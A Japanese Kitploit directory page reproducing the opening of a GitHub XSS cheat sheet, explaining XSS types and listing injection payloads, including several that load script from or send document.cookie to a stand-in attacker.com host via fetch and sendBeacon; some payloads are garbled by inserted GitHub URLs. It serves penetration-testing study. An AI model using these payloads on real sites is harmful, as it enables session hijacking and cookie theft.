Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
xss-cheatsheet — リフレクテッド、ストアド、DOM、ブラインドペイロード、フィルターバイパス、WAF回避、CSPバイパス、mXSS、実世界のCVEケーススタディを網羅する包括的なXSSリファレンス。 | Kitploit
ツール/GitHubGitHub/ardakocadoru/xss-cheatsheet
ウェブ脆弱性スキャナーペイロード生成脆弱性分析ウェブアプリケーション悪用WAFバイパスウェブセキュリティペネトレーションテスト学習と教育厳選リソース
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

リフレクテッド、ストアド、DOM、ブラインドペイロード、フィルターバイパス、WAF回避、CSPバイパス、mXSS、実世界のCVEケーススタディを網羅する包括的なXSSリファレンス。

2224ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

⚡ XSS Cheatsheet — クロスサイトスクリプティング リファレンス

Stars License: MIT PRs Welcome Last Updated Payloads

GitHub 上で最も包括的な XSS リファレンス。
Reflected · Stored · DOM · Blind XSS — ペイロード、フィルターバイパス、WAF 回避、CSP バイパス、mXSS、プロトタイプ汚染チェーン、実世界の CVE。2026 年対応。

ペイロード · フィルターバイパス · WAF 回避 · DOM XSS · CSP バイパス · Blind XSS · 高度な手法 · ツール


目次

  • XSS とは?
  • XSS の種類
  • 基本ペイロード
    • クラシックペイロード
    • alert の代替
    • 括弧なし
    • スペースなし
    • クォート除去時
  • フィルターバイパス
    • 大文字小文字の変更
    • タグの難読化
    • イベントハンドラ一覧
    • HTML エンコーディング
    • JavaScript エンコーディング
    • URL エンコーディング
    • 二重エンコーディング
    • SVG ペイロード
    • HTML5 固有
    • Data URI
  • コンテキスト固有のペイロード
    • HTML コンテキスト
    • HTML 属性コンテキスト
    • JavaScript コンテキスト
    • JavaScript 文字列コンテキスト
    • URL コンテキスト
    • CSS コンテキスト
    • JSON / テンプレートコンテキスト
  • WAF 回避
    • Cloudflare バイパス
    • ModSecurity バイパス
    • AWS WAF バイパス
    • 汎用回避
  • CSP バイパス
    • unsafe-inline
    • script-src self
    • CDN ホワイトリスト
    • base-uri の欠落
    • Dangling Markup
    • Nonce ベースの CSP
  • DOM ベース XSS
    • 一般的なソース
    • 一般的なシンク
    • DOM XSS ペイロード
    • AngularJS テンプレートインジェクション
  • Blind XSS
  • XSS ポリグロット
  • ファイルアップロード経由の XSS
  • HTTP ヘッダー経由の XSS
  • XSS から RCE へ
  • 高度な手法
    • mXSS
    • DOM Clobbering
    • プロトタイプ汚染から XSS へ
    • CSTI
  • 防御
  • 実世界の CVE
  • ツール
  • 参考文献
  • コントリビューション

🎯 XSS とは?

クロスサイトスクリプティング(XSS)はクライアントサイドのコードインジェクション攻撃であり、攻撃者が信頼された Web アプリケーションから配信されるコンテンツに悪意のあるスクリプトを注入します。被害者のブラウザがページをレンダリングすると、注入されたスクリプトはそのオリジンからの正規のスクリプトと同じ権限で実行されます。

XSS が重要な理由

XSS は影響が深刻で攻撃対象領域が膨大であるため、一貫して OWASP Top 10 に含まれています:

影響説明
セッションハイジャックdocument.cookie を窃取し、認証済みセッションを乗っ取る
アカウント乗っ取り被害者のセッションを利用した偽造リクエストでメールアドレス/パスワードを変更する
キーロギングパスワードやクレジットカード番号を含むすべてのキーストロークを記録する
フィッシング認証情報を攻撃者に送信する偽のログインフォームを注入する
改ざんページコンテンツを変更し、誤情報を拡散したり標的を貶めたりする
マルウェア配布被害者をエクスプロイトキットへリダイレクトする
暗号通貨マイニング被害者のブラウザでクリプトマイナーを実行する
SSRF / 内部ポートスキャン被害者のブラウザを利用して内部ネットワークを探索する
認証情報の収集DOM から自動入力された認証情報を読み取る
スクリーンショット / WebカメラgetDisplayMedia() で画面を、getUserMedia() で Webカメラをキャプチャする

同一生成元ポリシーと XSS

XSS は同一生成元ポリシー(SOP)を破ります。悪意のあるスクリプトが標的のオリジンから配信されるため、ブラウザはそれを信頼されたものとして扱います。つまり、XSS は攻撃者に以下を与えます:

  • DOM への完全な読み取り/書き込みアクセス
  • HttpOnly で保護されていないすべての Cookie へのアクセス
  • 同一オリジンへの認証済み XHR/fetch リクエストを送信する能力
  • localStorage および sessionStorage へのアクセス

🗺️ XSS の種類

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
種類永続性影響を受ける対象サーバーはペイロードを認識するか?
Reflectedなし標的の被害者はい
Storedありすべての訪問者はい
DOMなし標的の被害者通常はいいえ
Blindあり(リモート)管理者 / バックエンドユーザーはい(インジェクションポイントにて)

💥 基本的なペイロード

クラシック

すべてのセキュリティ研究者が知っている基礎的なペイロード。これらはフィルタリングが存在しない場合に機能します。

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

アラートの代替手段(alert がブロックされる場合)

多くの最新アプリケーションや WAF は alert という単語をブロックします。以下の代替手段を使用してください:

// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>

// prompt() — shows input dialog  
<script>prompt(1)</script>

// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>

// print() — opens print dialog (noisy but visible)
<script>print()</script>

// debugger — pauses DevTools if open
<script>debugger</script>

// throw — visible in console as uncaught error
<script>throw 1</script>

// Using window object
<script>window['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>

// Using top
<script>top['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>

// Constructing alert string to evade static analysis
<script>window['\x61\x6c\x65\x72\x74'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>

// Using eval
<script>eval('ale'+'rt(1)')</script>

// Function constructor
<script>Function('alert(1)')()</script>

// setTimeout / setInterval
<script>setTimeout(alert,0,1)</script>
<script>setInterval(alert,9999,1)</script>

// Using fetch to exfiltrate (when alert is blocked entirely)
<script>fetch('https://attacker.com/?c='+document.cookie)</script>

// navigator.sendBeacon — harder to block, works on page unload
<script>navigator.sendBeacon('https://attacker.com/',document.cookie)</script>

括弧なし

括弧はフィルタリングされることがあります。以下のテクニックは括弧を使わずにコードを実行します:

ツールをダウンロード